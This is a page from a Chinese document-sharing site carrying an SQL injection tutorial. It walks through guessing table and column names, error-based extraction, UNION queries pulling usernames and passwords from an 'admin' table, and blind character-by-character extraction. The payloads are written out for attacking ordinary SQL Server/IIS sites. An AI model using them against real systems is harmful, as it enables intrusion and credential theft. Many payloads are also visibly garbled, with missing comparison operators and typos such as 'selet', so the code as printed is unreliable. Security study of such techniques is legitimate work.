- 1、本文档共6页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
SQL注入与XSS漏洞SQL注入与XSS漏洞
SQL注入与XSS漏洞所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造(或者影响)动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。注入大致方法:
先猜表名
And (Select count(*) from 表名)0
猜列名
And (Select count(列名) from 表名)0
或者也可以这样
and exists (select * from 表名)
and exists (select 列名 from 表名)
返回正确的,那么写的表名或列名就是正确
这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)3 这样是不信的
现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容
获得数据库连接用户名:;and user0
这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:
----------------------------------------------------------------------------------------------------------
重点在and user0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer
的出错提示是:将nvarch
-----------------------------------------------------------------------------------------------------------
看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()0 则
是暴数据库名。
一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是
Order by 10
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名
反正就是返回正确即对,返回异常即错
另外还有十分常用的ascll码拆半法
先要知道指定列名,例如user里的内容的长度
and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余
后面的逻辑符号可以根据不同要求更改的,
大于 小于 =就是等于咯,更新语句的话,=也可以表示传递符号 就是不等
知道了长度后就可以开始猜解了
And (Select top 1 asc(mid(user,n,1)) from admin)100
n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)10
您可能关注的文档
- springMVC案例springMVC案例.doc
- spss 金融spss 金融.doc
- Spring应用Spring应用.doc
- spring框架简介spring框架简介.doc
- SPSS产品简介SPSS产品简介.doc
- spring笔记spring笔记.doc
- spss学习笔记spss学习笔记.doc
- spss实验报告1spss实验报告1.doc
- SPSS上机实验报告SPSS上机实验报告.doc
- SPSS基础教程实验报告SPSS基础教程实验报告.doc
- 高中家长会 家长会课件:家校共育促成长,携手同行向未来-高中主题班会优质课件.pptx
- 浙江省潮州市吴兴2024-2025学年高三上学期12月阶段性测试物理试题含答案.docx
- 高中家长会 经营好自己的现在,等待未来向我飞奔而来课件-高中家长会.pptx
- 浙江省杭州2024-2025学年高三上学期12月适应性考试地理试卷含答案.docx
- 浙江省杭州2024-2025学年高三上学期热身考英语试题含答案.docx
- 浙江省苍南2023-2024学年高一下学期期中考试技术试题-高中通用技术含答案.docx
- 浙江省杭州市部分学校2025届高三上学期期末联考数学试题含答案.docx
- 浙江省杭州市长河2024-2025学年高一上学期12月考试语文试卷含答案.docx
- 浙江省杭州市2022-2023学年高二上学期期中考试生物试题含答案.docx
- 浙江省杭州学军2024-2025学年高二上学期12月月考英语试题含答案.docx
文档评论(0)